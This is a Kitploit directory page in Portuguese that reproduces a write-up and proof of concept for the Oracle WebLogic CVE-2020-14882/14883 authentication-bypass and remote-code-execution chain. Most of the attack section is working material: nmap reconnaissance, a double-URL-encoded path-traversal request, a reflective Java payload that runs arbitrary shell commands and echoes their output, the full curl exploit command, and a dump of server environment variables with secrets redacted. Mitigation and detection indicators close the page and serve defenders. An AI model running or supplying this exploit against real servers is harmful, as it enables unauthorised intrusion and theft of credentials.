Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2020-14882-WebLogic-Analysis — Análise técnica e PoC limpo de Java Thread Echo para a cadeia de vulnerabilidades do Oracle WebLogic Server. | Kitploit
Ferramentas/GitHubGitHub/velessecurity/cve-2020-14882-weblogic-analysis
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebDesenvolvimento de Payloads
GitHubvelessecurity/cve-2020-14882-weblogic-analysis

CVE-2020-14882-WebLogic-Analysis

Análise técnica e PoC limpo de Java Thread Echo para a cadeia de vulnerabilidades do Oracle WebLogic Server.

Ver Repositório
3há 23 diasAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

Pesquisa de vulnerabilidades: Exploração da cadeia CVE-2020-14882 e CVE-2020-14883 no Oracle WebLogic Server

O repositório contém um relatório técnico (Write-up) e uma prova de conceito (PoC) para demonstrar a cadeia de vulnerabilidades de bypass de autenticação (Authentication Bypass) e execução remota de código (RCE) no componente do console de administração do Oracle WebLogic Server.

🛑 AVISO E ISENÇÃO DE RESPONSABILIDADE: Este material foi elaborado exclusivamente para fins educacionais e para a realização de auditorias de segurança legítimas (Pentest). O uso das técnicas descritas contra sistemas sem o consentimento prévio por escrito dos proprietários é punido por lei.


🏗 Arquitetura da pesquisa e stack

  • Objetivo: Ambiente de teste isolado com Oracle WebLogic Server versão 12.2.1.3 implantado
  • Vetor de ataque: Path Traversal → MVEL2 Script Execution → Java Thread Hijacking
  • Ferramentas: nmap, curl, bash

📈 Execução prática da exploração

Passo 1. Reconhecimento passivo e ativo do perímetro (Scanning)

Para determinar a superfície de ataque, foi realizada uma varredura direcionada das portas padrão de serviços web e das portas de administração de aplicações Java:

root@kitploit:~
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>

Saída do terminal:

root@kitploit:~
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).

PORT     STATE  SERVICE VERSION
80/tcp   closed http
8080/tcp closed http-proxy
7001/tcp open   http    Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)

Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
  • Insight da etapa: O banner confirmou a presença da versão vulnerável 12.2.1.3. A habilitação do protocolo T3 também indica vetores alternativos, mas para esta pesquisa foi escolhida a interface web HTTP do console.

Passo 2. Bypass dos mecanismos de autenticação (CVE-2020-14882)

A análise da estrutura de caminhos mostrou que o servidor web processa incorretamente sequências de subida de diretório quando estão duplamente codificadas em URL. O recurso /console/css/ fica aberto para conteúdo estático. Construímos uma solicitação para acessar o portal protegido:

  • Padrão de bypass: /console/css/%252e%252e%252fconsole.portal

Verificamos a disponibilidade e o comportamento do servidor (esperamos o status 200 OK em vez de 403 Forbidden ou 302 Redirect para a página de login):

root@kitploit:~
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"

Resposta do servidor:

root@kitploit:~
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8

Passo 3. Execução remota de código via Java Reflection (CVE-2020-14883)

Ao combinar o bypass de autenticação com a chamada do manipulador de sessões com.tangosol.coherence.mvel2.sh.ShellSession, obtemos a capacidade de executar código Java arbitrário.

A execução comum de comandos via java.lang.Runtime é "cega" (Blind RCE). Para implementar a técnica de Command Echo (retorno da saída do terminal diretamente no corpo da resposta HTTP), foi desenvolvido um payload Java reflexivo especial.

Código-fonte do payload Java:

root@kitploit:~
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();

// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);

// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);

// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");

if (cmd != null) {
    // Определяем ОС целевой системы для корректного вызова шелла
    String[] cmds = System.getProperty("os.name").toLowerCase().contains("window") 
        ? new String[]{"cmd.exe", "/c", cmd} 
        : new String[]{"/bin/sh", "-c", cmd};
    
    // Выполняем системную команду и считываем Input Stream
    String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
        .useDelimiter("\\A").next();
    
    // Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
    res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
    res.getServletOutputStream().flush();
}

// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();

Passo 4. Exploração final e dump do ambiente (Exploitation)

Para automatizar o envio do contexto Java, montamos o comando final curl. Enviamos o payload no parâmetro POST handle, e o comando desejado é enviado no cabeçalho personalizado X-CMD-HEADER: env.

Essa abordagem protege os dados de distorção pelo interpretador de linha de comando Bash local do pesquisador.

root@kitploit:~
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"

Saída real verificada (dump das variáveis de ambiente):

root@kitploit:~
*   Trying <TARGET_IP>:7001...
*   Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
> 
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
< 
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
  • Nota técnica sobre a saída: O erro curl: (18) no final do log confirma o sucesso da exploração. Ele é causado pela instrução executeThread.interrupt(), que força o encerramento da sessão TCP imediatamente após o buffer com os resultados do comando env ser enviado ao cliente.

🛡 Recomendações de mitigação da vulnerabilidade (Mitigation)

  1. Atualização de segurança: Instalação dos patches oficiais da Oracle (Critical Patch Update) para corrigir as falhas de validação de caminhos no console.
  2. Restrição de acesso à rede: Isolamento total de rede das portas administrativas (7001, /console) em relação ao perímetro externo (acesso somente via VPN interna/microssegmentação).
  3. Proteção no nível de WAF: Configuração de regras de Web Application Firewall para bloquear solicitações de URL que contenham sinais de dupla codificação de caminhos (%252e) em combinação com chamadas específicas de classes Java.

🔍 Indicadores de comprometimento e detecção (Detection)

Para especialistas em monitoramento de segurança (SOC/Blue Team), a exploração bem-sucedida dessa cadeia de vulnerabilidades deixa rastros claros na infraestrutura.

1. Análise de logs web (HTTP Access Logs)

Nos logs do servidor web WebLogic (geralmente localizados em access.log), o marcador do ataque é a presença de dupla codificação URL de pontos e barra, combinada com o acesso ao portal de administração por meio de diretórios estáticos:

  • Assinatura de bypass de caminho: Busca pelas substrings .. na forma codificada: %252e%252e%252f ou %252e%252e%252F dentro do URI.
  • Exemplo de solicitação suspeita:
    root@kitploit:~
    "POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
    

2. Comportamento dos processos no SO (Endpoint Monitoring / EDR)

Se a auditoria de processos estiver configurada no servidor (por exemplo, via Auditd no Linux ou Sysmon no Windows), um sinal de Remote Code Execution será o comportamento anômalo do processo pai Java:

  • Árvore de processos anômala: O processo Java em execução no servidor de aplicações é o pai do shell do sistema (/bin/sh, /bin/bash ou cmd.exe):
    root@kitploit:~
    ├─ java (WebLogic Server process)
    │  └─ /bin/sh -c env
    
  • Monitoramento de cabeçalhos personalizados: Aparecimento, no tráfego ou nos logs do WAF, de cabeçalhos HTTP atípicos (como X-CMD-HEADER ou X-Forwarded-Cmd) usados pelo atacante para enviar a carga útil (Command Echo).

🔗 Links úteis e materiais

  • Base de dados CVE: NIST NVD - CVE-2020-14882 | NIST NVD - CVE-2020-14883
  • Artigos analíticos: Oracle Critical Patch Update Advisory
Baixar ferramenta